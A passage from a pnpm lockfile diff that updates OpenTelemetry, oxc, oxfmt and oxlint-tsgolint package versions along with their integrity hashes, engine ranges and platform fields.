@@ packages: resolution: {integrity: sha512-da6KbdNCV5sr1/txD896V+6W0iamFWrvVl8cHkBSPT+YlvmT3DwXa4jxZnQc+gnuTEqSWbBeoSZYTayXH9wXcw==} engines: {node: '>= 20'} - '@opentelemetry/api-logs@0.212.0': - resolution: {integrity: sha512-TEEVrLbNROUkYY51sBJGk7lO/OLjuepch8+hmpM6ffMJQ2z/KVCjdHuCFX6fJj8OkJP2zckPjrJzQtXU3IAsFg==} + '@opentelemetry/api-logs@0.213.0': + resolution: {integrity: sha512-zRM5/Qj6G84Ej3F1yt33xBVY/3tnMxtL1fiDIxYbDWYaZ/eudVw3/PBiZ8G7JwUxXxjW8gU4g6LnOyfGKYHYgw==} engines: {node: '>=8.0.0'} '@opentelemetry/api@1.9.0': resolution: {integrity: sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==} engines: {node: '>=8.0.0'} - '@opentelemetry/configuration@0.212.0': - resolution: {integrity: sha512-D8sAY6RbqMa1W8lCeiaSL2eMCW2MF87QI3y+I6DQE1j+5GrDMwiKPLdzpa/2/+Zl9v1//74LmooCTCJBvWR8Iw==} + '@opentelemetry/configuration@0.213.0': + resolution: {integrity: sha512-MfVgZiUuwL1d3bPPvXcEkVHGTGNUGoqGK97lfwBuRoKttcVGGqDyxTCCVa5MGbirtBQkUTysXMBUVWPaq7zbWw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.9.0 - '@opentelemetry/context-async-hooks@2.5.1': - resolution: {integrity: sha512-MHbu8XxCHcBn6RwvCt2Vpn1WnLMNECfNKYB14LI5XypcgH4IE0/DiVifVR9tAkwPMyLXN8dOoPJfya3IryLQVw==} + '@opentelemetry/context-async-hooks@2.6.0': + resolution: {integrity: sha512-L8UyDwqpTcbkIK5cgwDRDYDoEhQoj8wp8BwsO19w3LB1Z41yEQm2VJyNfAi9DrLP/YTqXqWpKHyZfR9/tFYo1Q==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/core@2.5.1': - resolution: {integrity: sha512-Dwlc+3HAZqpgTYq0MUyZABjFkcrKTePwuiFVLjahGD8cx3enqihmpAmdgNFO1R4m/sIe5afjJrA25Prqy4NXlA==} + '@opentelemetry/core@2.6.0': + resolution: {integrity: sha512-HLM1v2cbZ4TgYN6KEOj+Bbj8rAKriOdkF9Ed3tG25FoprSiQl7kYc+RRT6fUZGOvx0oMi5U67GoFdT+XUn8zEg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/exporter-logs-otlp-grpc@0.212.0': - resolution: {integrity: sha512-/0bk6fQG+eSFZ4L6NlckGTgUous/ib5+OVdg0x4OdwYeHzV3lTEo3it1HgnPY6UKpmX7ki+hJvxjsOql8rCeZA==} + '@opentelemetry/exporter-logs-otlp-grpc@0.213.0': + resolution: {integrity: sha512-QiRZzvayEOFnenSXi85Eorgy5WTqyNQ+E7gjl6P6r+W3IUIwAIH8A9/BgMWfP056LwmdrBL6+qvnwaIEmug6Yg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-logs-otlp-http@0.212.0': - resolution: {integrity: sha512-JidJasLwG/7M9RTxV/64xotDKmFAUSBc9SNlxI32QYuUMK5rVKhHNWMPDzC7E0pCAL3cu+FyiKvsTwLi2KqPYw==} + '@opentelemetry/exporter-logs-otlp-http@0.213.0': + resolution: {integrity: sha512-vqDVSpLp09ZzcFIdb7QZrEFPxUlO3GzdhBKLstq3jhYB5ow3+ZtV5V0ngSdi/0BZs+J5WPiN1+UDV4X5zD/GzA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-logs-otlp-proto@0.212.0': - resolution: {integrity: sha512-RpKB5UVfxc7c6Ta1UaCrxXDTQ0OD7BCGT66a97Q5zR1x3+9fw4dSaiqMXT/6FAWj2HyFbem6Rcu1UzPZikGTWQ==} + '@opentelemetry/exporter-logs-otlp-proto@0.213.0': + resolution: {integrity: sha512-gQk41nqfK3KhDk8jbSo3LR/fQBlV7f6Q5xRcfDmL1hZlbgXQPdVFV9/rIfYUrCoq1OM+2NnKnFfGjBt6QpLSsA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-grpc@0.212.0': - resolution: {integrity: sha512-/6Gqf9wpBq22XsomR1i0iPGnbQtCq2Vwnrq5oiDPjYSqveBdK1jtQbhGfmpK2mLLxk4cPDtD1ZEYdIou5K8EaA==} + '@opentelemetry/exporter-metrics-otlp-grpc@0.213.0': + resolution: {integrity: sha512-Z8gYKUAU48qwm+a1tjnGv9xbE7a5lukVIwgF6Z5i3VPXPVMe4Sjra0nN3zU7m277h+V+ZpsPGZJ2Xf0OTkL7/w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-http@0.212.0': - resolution: {integrity: sha512-8hgBw3aTTRpSTkU4b9MLf/2YVLnfWp+hfnLq/1Fa2cky+vx6HqTodo+Zv1GTIrAKMOOwgysOjufy0gTxngqeBg==} + '@opentelemetry/exporter-metrics-otlp-http@0.213.0': + resolution: {integrity: sha512-yw3fTIw4KQIRXC/ZyYQq5gtA3Ogfdfz/g5HVgleobQAcjUUE8Nj3spGMx8iQPp+S+u6/js7BixufRkXhzLmpJA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-metrics-otlp-proto@0.212.0': - resolution: {integrity: sha512-C7I4WN+ghn3g7SnxXm2RK3/sRD0k/BYcXaK6lGU3yPjiM7a1M25MLuM6zY3PeVPPzzTZPfuS7+wgn/tHk768Xw==} + '@opentelemetry/exporter-metrics-otlp-proto@0.213.0': + resolution: {integrity: sha512-geHF+zZaDb0/WRkJTxR8o8dG4fCWT/Wq7HBdNZCxwH5mxhwRi/5f37IDYH7nvU+dwU6IeY4Pg8TPI435JCiNkg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-prometheus@0.212.0': - resolution: {integrity: sha512-hJFLhCJba5MW5QHexZMHZdMhBfNqNItxOsN0AZojwD1W2kU9xM+BEICowFGJFo/vNV+I2BJvTtmuKafeDSAo7Q==} + '@opentelemetry/exporter-prometheus@0.213.0': + resolution: {integrity: sha512-FyV3/JfKGAgx+zJUwCHdjQHbs+YeGd2fOWvBHYrW6dmfv/w89lb8WhJTSZEoWgP525jwv/gFeBttlGu1flebdA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-grpc@0.212.0': - resolution: {integrity: sha512-9xTuYWp8ClBhljDGAoa0NSsJcsxJsC9zCFKMSZJp1Osb9pjXCMRdA6fwXtlubyqe7w8FH16EWtQNKx/FWi+Ghw==} + '@opentelemetry/exporter-trace-otlp-grpc@0.213.0': + resolution: {integrity: sha512-L8y6piP4jBIIx1Nv7/9hkx25ql6/Cro/kQrs+f9e8bPF0Ar5Dm991v7PnbtubKz6Q4fT872H56QXUWVnz/Cs4Q==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-http@0.212.0': - resolution: {integrity: sha512-v/0wMozNoiEPRolzC4YoPo4rAT0q8r7aqdnRw3Nu7IDN0CGFzNQazkfAlBJ6N5y0FYJkban7Aw5WnN73//6YlA==} + '@opentelemetry/exporter-trace-otlp-http@0.213.0': + resolution: {integrity: sha512-tnRmJD39aWrE/Sp7F6AbRNAjKHToDkAqBi6i0lESpGWz3G+f4bhVAV6mgSXH2o18lrDVJXo6jf9bAywQw43wRA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-trace-otlp-proto@0.212.0': - resolution: {integrity: sha512-d1ivqPT0V+i0IVOOdzGaLqonjtlk5jYrW7ItutWzXL/Mk+PiYb59dymy/i2reot9dDnBFWfrsvxyqdutGF5Vig==} + '@opentelemetry/exporter-trace-otlp-proto@0.213.0': + resolution: {integrity: sha512-six3vPq3sL+ge1iZOfKEg+RHuFQhGb8ZTdlvD234w/0gi8ty/qKD46qoGpKvM3amy5yYunWBKiFBW47WaVS26w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/exporter-zipkin@2.5.1': - resolution: {integrity: sha512-Me6JVO7WqXGXsgr4+7o+B7qwKJQbt0c8WamFnxpkR43avgG9k/niTntwCaXiXUTjonWy0+61ZuX6CGzj9nn8CQ==} + '@opentelemetry/exporter-zipkin@2.6.0': + resolution: {integrity: sha512-AFP77OQMLfw/Jzh6WT2PtrywstNjdoyT9t9lYrYdk1s4igsvnMZ8DkZKCwxsItC01D+4Lydgrb+Wy0bAvpp8xg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.0.0 - '@opentelemetry/instrumentation@0.212.0': - resolution: {integrity: sha512-IyXmpNnifNouMOe0I/gX7ENfv2ZCNdYTF0FpCsoBcpbIHzk81Ww9rQTYTnvghszCg7qGrIhNvWC8dhEifgX9Jg==} + '@opentelemetry/instrumentation@0.213.0': + resolution: {integrity: sha512-3i9NdkET/KvQomeh7UaR/F4r9P25Rx6ooALlWXPIjypcEOUxksCmVu0zA70NBJWlrMW1rPr/LRidFAflLI+s/w==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-exporter-base@0.212.0': - resolution: {integrity: sha512-HoMv5pQlzbuxiMS0hN7oiUtg8RsJR5T7EhZccumIWxYfNo/f4wFc7LPDfFK6oHdG2JF/+qTocfqIHoom+7kLpw==} + '@opentelemetry/otlp-exporter-base@0.213.0': + resolution: {integrity: sha512-MegxAP1/n09Ob2dQvY5NBDVjAFkZRuKtWKxYev1R2M8hrsgXzQGkaMgoEKeUOyQ0FUyYcO29UOnYdQWmWa0PXg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-grpc-exporter-base@0.212.0': - resolution: {integrity: sha512-YidOSlzpsun9uw0iyIWrQp6HxpMtBlECE3tiHGAsnpEqJWbAUWcMnIffvIuvTtTQ1OyRtwwaE79dWSQ8+eiB7g==} + '@opentelemetry/otlp-grpc-exporter-base@0.213.0': + resolution: {integrity: sha512-XgRGuLE9usFNlnw2lgMIM4HTwpcIyjdU/xPoJ8v3LbBLBfjaDkIugjc9HoWa7ZSJ/9Bhzgvm/aD0bGdYUFgnTw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/otlp-transformer@0.212.0': - resolution: {integrity: sha512-bj7zYFOg6Db7NUwsRZQ/WoVXpAf41WY2gsd3kShSfdpZQDRKHWJiRZIg7A8HvWsf97wb05rMFzPbmSHyjEl9tw==} + '@opentelemetry/otlp-transformer@0.213.0': + resolution: {integrity: sha512-RSuAlxFFPjeK4d5Y6ps8L2WhaQI6CXWllIjvo5nkAlBpmq2XdYWEBGiAbOF4nDs8CX4QblJDv5BbMUft3sEfDw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/propagator-b3@2.5.1': - resolution: {integrity: sha512-AU6sZgunZrZv/LTeHP+9IQsSSH5p3PtOfDPe8VTdwYH69nZCfvvvXehhzu+9fMW2mgJMh5RVpiH8M9xuYOu5Dg==} + '@opentelemetry/propagator-b3@2.6.0': + resolution: {integrity: sha512-SguK4jMmRvQ0c0dxAMl6K+Eu1+01X0OP7RLiIuHFjOS8hlB23ZYNnhnbAdSQEh5xVXQmH0OAS0TnmVI+6vB2Kg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/propagator-jaeger@2.5.1': - resolution: {integrity: sha512-8+SB94/aSIOVGDUPRFSBRHVUm2A8ye1vC6/qcf/D+TF4qat7PC6rbJhRxiUGDXZtMtKEPM/glgv5cBGSJQymSg==} + '@opentelemetry/propagator-jaeger@2.6.0': + resolution: {integrity: sha512-KGWJuvp9X8X36bhHgIhWEnHAzXDInFr+Fvo9IQhhuu6pXLT8mF7HzFyx/X+auZUITvPaZhM39Phj3vK12MbhwA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' - '@opentelemetry/resources@2.5.1': - resolution: {integrity: sha512-BViBCdE/GuXRlp9k7nS1w6wJvY5fnFX5XvuEtWsTAOQFIO89Eru7lGW3WbfbxtCuZ/GbrJfAziXG0w0dpxL7eQ==} + '@opentelemetry/resources@2.6.0': + resolution: {integrity: sha512-D4y/+OGe3JSuYUCBxtH5T9DSAWNcvCb/nQWIga8HNtXTVPQn59j0nTBAgaAXxUVBDl40mG3Tc76b46wPlZaiJQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-logs@0.212.0': - resolution: {integrity: sha512-qglb5cqTf0mOC1sDdZ7nfrPjgmAqs2OxkzOPIf2+Rqx8yKBK0pS7wRtB1xH30rqahBIut9QJDbDePyvtyqvH/Q==} + '@opentelemetry/sdk-logs@0.213.0': + resolution: {integrity: sha512-00xlU3GZXo3kXKve4DLdrAL0NAFUaZ9appU/mn00S/5kSUdAvyYsORaDUfR04Mp2CLagAOhrzfUvYozY/EZX2g==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.4.0 <1.10.0' - '@opentelemetry/sdk-metrics@2.5.1': - resolution: {integrity: sha512-RKMn3QKi8nE71ULUo0g/MBvq1N4icEBo7cQSKnL3URZT16/YH3nSVgWegOjwx7FRBTrjOIkMJkCUn/ZFIEfn4A==} + '@opentelemetry/sdk-metrics@2.6.0': + resolution: {integrity: sha512-CicxWZxX6z35HR83jl+PLgtFgUrKRQ9LCXyxgenMnz5A1lgYWfAog7VtdOvGkJYyQgMNPhXQwkYrDLujk7z1Iw==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.9.0 <1.10.0' - '@opentelemetry/sdk-node@0.212.0': - resolution: {integrity: sha512-tJzVDk4Lo44MdgJLlP+gdYdMnjxSNsjC/IiTxj5CFSnsjzpHXwifgl3BpUX67Ty3KcdubNVfedeBc/TlqHXwwg==} + '@opentelemetry/sdk-node@0.213.0': + resolution: {integrity: sha512-8s7SQtY8DIAjraXFrUf0+I90SBAUQbsMWMtUGKmusswRHWXtKJx42aJQMoxEtC82Csqj+IlBH6FoP8XmmUDSrQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace-base@2.5.1': - resolution: {integrity: sha512-iZH3Gw8cxQn0gjpOjJMmKLd9GIaNh/E3v3ST67vyzLSxHBs14HsG4dy7jMYyC5WXGdBVEcM7U/XTF5hCQxjDMw==} + '@opentelemetry/sdk-trace-base@2.6.0': + resolution: {integrity: sha512-g/OZVkqlxllgFM7qMKqbPV9c1DUPhQ7d4n3pgZFcrnrNft9eJXZM2TNHTPYREJBrtNdRytYyvwjgL5geDKl3EQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace-node@2.5.1': - resolution: {integrity: sha512-9lopQ6ZoElETOEN0csgmtEV5/9C7BMfA7VtF4Jape3i954b6sTY2k3Xw3CxUTKreDck/vpAuJM+EDo4zheUw+A==} + '@opentelemetry/sdk-trace-node@2.6.0': + resolution: {integrity: sha512-YhswtasmsbIGEFvLGvR9p/y3PVRTfFf+mgY8van4Ygpnv4sA3vooAjvh+qAn9PNWxs4/IwGGqiQS0PPsaRJ0vQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' @@ -1982,263 +2104,263 @@ packages: resolution: {integrity: sha512-cifvXDhcqMwwTlTK04GBNeIe7yyo28Mfby85QXFe1Yk8nmi36Ab/5UQwptOx84SsoGNRg+EVSjwzfSZMy6pmlw==} engines: {node: '>=14'} - '@oxc-project/types@0.114.0': - resolution: {integrity: sha512-//nBfbzHQHvJs8oFIjv6coZ6uxQ4alLfiPe6D5vit6c4pmxATHHlVwgB1k+Hv4yoAMyncdxgRBF5K4BYWUCzvA==} + '@oxc-project/types@0.115.0': + resolution: {integrity: sha512-4n91DKnebUS4yjUHl2g3/b2T+IUdCfmoZGhmwsovZCDaJSs+QkVAM+0AqqTxHSsHfeiMuueT75cZaZcT/m0pSw==} - '@oxfmt/binding-android-arm-eabi@0.35.0': - resolution: {integrity: sha512-BaRKlM3DyG81y/xWTsE6gZiv89F/3pHe2BqX2H4JbiB8HNVlWWtplzgATAE5IDSdwChdeuWLDTQzJ92Lglw3ZA==} + '@oxfmt/binding-android-arm-eabi@0.36.0': + resolution: {integrity: sha512-Z4yVHJWx/swHHjtr0dXrBZb6LxS+qNz1qdza222mWwPTUK4L790+5i3LTgjx3KYGBzcYpjaiZBw4vOx94dH7MQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [android] - '@oxfmt/binding-android-arm64@0.35.0': - resolution: {integrity: sha512-/O+EbuAJYs6nde/anv+aID6uHsGQApyE9JtYBo/79KyU8e6RBN3DMbT0ix97y1SOnCglurmL2iZ+hlohjP2PnQ==} + '@oxfmt/binding-android-arm64@0.36.0': + resolution: {integrity: sha512-3ElCJRFNPQl7jexf2CAa9XmAm8eC5JPrIDSjc9jSchkVSFTEqyL0NtZinBB2h1a4i4JgP1oGl/5G5n8YR4FN8Q==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [android] - '@oxfmt/binding-darwin-arm64@0.35.0': - resolution: {integrity: sha512-pGqRtqlNdn9d4VrmGUWVyQjkw79ryhI6je9y2jfqNUIZCfqceob+R97YYAoG7C5TFyt8ILdLVoN+L2vw/hSFyA==} + '@oxfmt/binding-darwin-arm64@0.36.0': + resolution: {integrity: sha512-nak4znWCqIExKhYSY/mz/lWsqWIpdsS7o0+SRzXR1Q0m7GrMcG1UrF1pS7TLGZhhkf7nTfEF7q6oZzJiodRDuw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [darwin] - '@oxfmt/binding-darwin-x64@0.35.0': - resolution: {integrity: sha512-8GmsDcSozTPjrCJeGpp+sCmS9+9V5yRrdEZ1p/sTWxPG5nYeAfSLuS0nuEYjXSO+CtdSbStIW6dxa+4NM58yRw==} + '@oxfmt/binding-darwin-x64@0.36.0': + resolution: {integrity: sha512-V4GP96thDnpKx6ADnMDnhIXNdtV+Ql9D4HUU+a37VTeVbs5qQSF/s6hhUP1b3xUqU7iRcwh72jUU2Y12rtGHAw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [darwin] - '@oxfmt/binding-freebsd-x64@0.35.0': - resolution: {integrity: sha512-QyfKfTe0ytHpFKHAcHCGQEzN45QSqq1AHJOYYxQMgLM3KY4xu8OsXHpCnINjDsV4XGnQzczJDU9e04Zmd8XqIQ==} + '@oxfmt/binding-freebsd-x64@0.36.0': + resolution: {integrity: sha512-/xapWCADfI5wrhxpEUjhI9fnw7MV5BUZizVa8e24n3VSK6A3Y1TB/ClOP1tfxNspykFKXp4NBWl6NtDJP3osqQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [freebsd] - '@oxfmt/binding-linux-arm-gnueabihf@0.35.0': - resolution: {integrity: sha512-u+kv3JD6P3J38oOyUaiCqgY5TNESzBRZJ5lyZQ6c2czUW2v5SIN9E/KWWa9vxoc+P8AFXQFUVrdzGy1tK+nbPQ==} + '@oxfmt/binding-linux-arm-gnueabihf@0.36.0': + resolution: {integrity: sha512-1lOmv61XMFIH5uNm27620kRRzWt/RK6tdn250BRDoG9W7OXGOQ5UyI1HVT+SFkoOoKztBiinWgi68+NA1MjBVQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxfmt/binding-linux-arm-musleabihf@0.35.0': - resolution: {integrity: sha512-1NiZroCiV57I7Pf8kOH4XGR366kW5zir3VfSMBU2D0V14GpYjiYmPYFAoJboZvp8ACnZKUReWyMkNKSa5ad58A==} + '@oxfmt/binding-linux-arm-musleabihf@0.36.0': + resolution: {integrity: sha512-vMH23AskdR1ujUS9sPck2Df9rBVoZUnCVY86jisILzIQ/QQ/yKUTi7tgnIvydPx7TyB/48wsQ5QMr5Knq5p/aw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm] os: [linux] - '@oxfmt/binding-linux-arm64-gnu@0.35.0': - resolution: {integrity: sha512-7Q0Xeg7ZnW2nxnZ4R7aF6DEbCFls4skgHZg+I63XitpNvJCbVIU8MFOTZlvZGRsY9+rPgWPQGeUpLHlyx0wvMA==} + '@oxfmt/binding-linux-arm64-gnu@0.36.0': + resolution: {integrity: sha512-Hy1V+zOBHpBiENRx77qrUTt5aPDHeCASRc8K5KwwAHkX2AKP0nV89eL17hsZrE9GmnXFjsNmd80lyf7aRTXsbw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxfmt/binding-linux-arm64-musl@0.35.0': - resolution: {integrity: sha512-5Okqi+uhYFxwKz8hcnUftNNwdm8BCkf6GSCbcz9xJxYMm87k1E4p7PEmAAbhLTk7cjSdDre6TDL0pDzNX+Y22Q==} + '@oxfmt/binding-linux-arm64-musl@0.36.0': + resolution: {integrity: sha512-SPGLJkOIHSIC6ABUQ5V8NqJpvYhMJueJv26NYqfCnwi/Mn6A61amkpJJ9Suy0Nmvs+OWESJpcebrBUbXPGZyQQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [linux] - '@oxfmt/binding-linux-ppc64-gnu@0.35.0': - resolution: {integrity: sha512-9k66pbZQXM/lBJWys3Xbc5yhl4JexyfqkEf/tvtq8976VIJnLAAL3M127xHA3ifYSqxdVHfVGTg84eiBHCGcNw==} + '@oxfmt/binding-linux-ppc64-gnu@0.36.0': + resolution: {integrity: sha512-3EuoyB8x9x8ysYJjbEO/M9fkSk72zQKnXCvpZMDHXlnY36/1qMp55Nm0PrCwjGO/1pen5hdOVkz9WmP3nAp2IQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ppc64] os: [linux] - '@oxfmt/binding-linux-riscv64-gnu@0.35.0': - resolution: {integrity: sha512-aUcY9ofKPtjO52idT6t0SAQvEF6ctjzUQa1lLp7GDsRpSBvuTrBQGeq0rYKz3gN8dMIQ7mtMdGD9tT4LhR8jAQ==} + '@oxfmt/binding-linux-riscv64-gnu@0.36.0': + resolution: {integrity: sha512-MpY3itLwpGh8dnywtrZtaZ604T1m715SydCKy0+qTxetv+IHzuA+aO/AGzrlzUNYZZmtWtmDBrChZGibvZxbRQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxfmt/binding-linux-riscv64-musl@0.35.0': - resolution: {integrity: sha512-C6yhY5Hvc2sGM+mCPek9ZLe5xRUOC/BvhAt2qIWFAeXMn4il04EYIjl3DsWiJr0xDMTJhvMOmD55xTRPlNp39w==} + '@oxfmt/binding-linux-riscv64-musl@0.36.0': + resolution: {integrity: sha512-mmDhe4Vtx+XwQPRPn/V25+APnkApYgZ23q+6GVsNYY98pf3aU0aI3Me96pbRs/AfJ1jIiGC+/6q71FEu8dHcHw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [riscv64] os: [linux] - '@oxfmt/binding-linux-s390x-gnu@0.35.0': - resolution: {integrity: sha512-RG2hlvOMK4OMZpO3mt8MpxLQ0AAezlFqhn5mI/g5YrVbPFyoCv9a34AAvbSJS501ocOxlFIRcKEuw5hFvddf9g==} + '@oxfmt/binding-linux-s390x-gnu@0.36.0': + resolution: {integrity: sha512-AYXhU+DmNWLSnvVwkHM92fuYhogtVHab7UQrPNaDf1sxadugg9gWVmcgJDlIwxJdpk5CVW/TFvwUKwI432zhhA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [s390x] os: [linux] - '@oxfmt/binding-linux-x64-gnu@0.35.0': - resolution: {integrity: sha512-wzmh90Pwvqj9xOKHJjkQYBpydRkaXG77ZvDz+iFDRRQpnqIEqGm5gmim2s6vnZIkDGsvKCuTdtxm0GFmBjM1+w==} + '@oxfmt/binding-linux-x64-gnu@0.36.0': + resolution: {integrity: sha512-H16QhhQ3usoakMleiAAQ2mg0NsBDAdyE9agUgfC8IHHh3jZEbr0rIKwjEqwbOHK5M0EmfhJmr+aGO/MgZPsneA==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxfmt/binding-linux-x64-musl@0.35.0': - resolution: {integrity: sha512-+HCqYCJPCUy5I+b2cf+gUVaApfgtoQT3HdnSg/l7NIcLHOhKstlYaGyrFZLmUpQt4WkFbpGKZZayG6zjRU0KFA==} + '@oxfmt/binding-linux-x64-musl@0.36.0': + resolution: {integrity: sha512-EFFGkixA39BcmHiCe2ECdrq02D6FCve5ka6ObbvrheXl4V+R0U/E+/uLyVx1X65LW8TA8QQHdnbdDallRekohw==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [linux] - '@oxfmt/binding-openharmony-arm64@0.35.0': - resolution: {integrity: sha512-kFYmWfR9YL78XyO5ws+1dsxNvZoD973qfVMNFOS4e9bcHXGF7DvGC2tY5UDFwyMCeB33t3sDIuGONKggnVNSJA==} + '@oxfmt/binding-openharmony-arm64@0.36.0': + resolution: {integrity: sha512-zr/t369wZWFOj1qf06Z5gGNjFymfUNDrxKMmr7FKiDRVI1sNsdKRCuRL4XVjtcptKQ+ao3FfxLN1vrynivmCYg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [openharmony] - '@oxfmt/binding-win32-arm64-msvc@0.35.0': - resolution: {integrity: sha512-uD/NGdM65eKNCDGyTGdO8e9n3IHX+wwuorBvEYrPJXhDXL9qz6gzddmXH8EN04ejUXUujlq4FsoSeCfbg0Y+Jg==} + '@oxfmt/binding-win32-arm64-msvc@0.36.0': + resolution: {integrity: sha512-FxO7UksTv8h4olzACgrqAXNF6BP329+H322323iDrMB5V/+a1kcAw07fsOsUmqNrb9iJBsCQgH/zqcqp5903ag==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [arm64] os: [win32] - '@oxfmt/binding-win32-ia32-msvc@0.35.0': - resolution: {integrity: sha512-oSRD2k8J2uxYDEKR2nAE/YTY9PobOEnhZgCmspHu0+yBQ665yH8lFErQVSTE7fcGJmJp/cC6322/gc8VFuQf7g==} + '@oxfmt/binding-win32-ia32-msvc@0.36.0': + resolution: {integrity: sha512-OjoMQ89H01M0oLMfr/CPNH1zi48ZIwxAKObUl57oh7ssUBNDp/2Vjf7E1TQ8M4oj4VFQ/byxl2SmcPNaI2YNDg==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [ia32] os: [win32] - '@oxfmt/binding-win32-x64-msvc@0.35.0': - resolution: {integrity: sha512-WCDJjlS95NboR0ugI2BEwzt1tYvRDorDRM9Lvctls1SLyKYuNRCyrPwp1urUPFBnwgBNn9p2/gnmo7gFMySRoQ==} + '@oxfmt/binding-win32-x64-msvc@0.36.0': + resolution: {integrity: sha512-MoyeQ9S36ZTz/4bDhOKJgOBIDROd4dQ5AkT9iezhEaUBxAPdNX9Oq0jD8OSnCj3G4wam/XNxVWKMA52kmzmPtQ==} engines: {node: ^20.19.0 || >=22.12.0} cpu: [x64] os: [win32] - '@oxlint-tsgolint/darwin-arm64@0.15.0': - resolution: {integrity: sha512-d7Ch+A6hic+RYrm32+Gh1o4lOrQqnFsHi721ORdHUDBiQPea+dssKUEMwIbA6MKmCy6TVJ02sQyi24OEfCiGzw==} + '@oxlint-tsgolint/darwin-arm64@0.16.0': + resolution: {integrity: sha512-WQt5lGwRPJBw7q2KNR0mSPDAaMmZmVvDlEEti96xLO7ONhyomQc6fBZxxwZ4qTFedjJnrHX94sFelZ4OKzS7UQ==} cpu: [arm64] os: [darwin] - '@oxlint-tsgolint/darwin-x64@0.15.0': - resolution: {integrity: sha512-Aoai2wAkaUJqp/uEs1gml6TbaPW4YmyO5Ai/vOSkiizgHqVctjhjKqmRiWTX2xuPY94VkwOLqp+Qr3y/0qSpWQ==} + '@oxlint-tsgolint/darwin-x64@0.16.0': + resolution: {integrity: sha512-VJo29XOzdkalvCTiE2v6FU3qZlgHaM8x8hUEVJGPU2i5W+FlocPpmn00+Ld2n7Q0pqIjyD5EyvZ5UmoIEJMfqg==} cpu: [x64] os: [darwin] - '@oxlint-tsgolint/linux-arm64@0.15.0': - resolution: {integrity: sha512-4og13a7ec4Vku5t2Y7s3zx6YJP6IKadb1uA9fOoRH6lm/wHWoCnxjcfJmKHXRZJII81WmbdJMSPxaBfwN/S68Q==} + '@oxlint-tsgolint/linux-arm64@0.16.0': + resolution: {integrity: 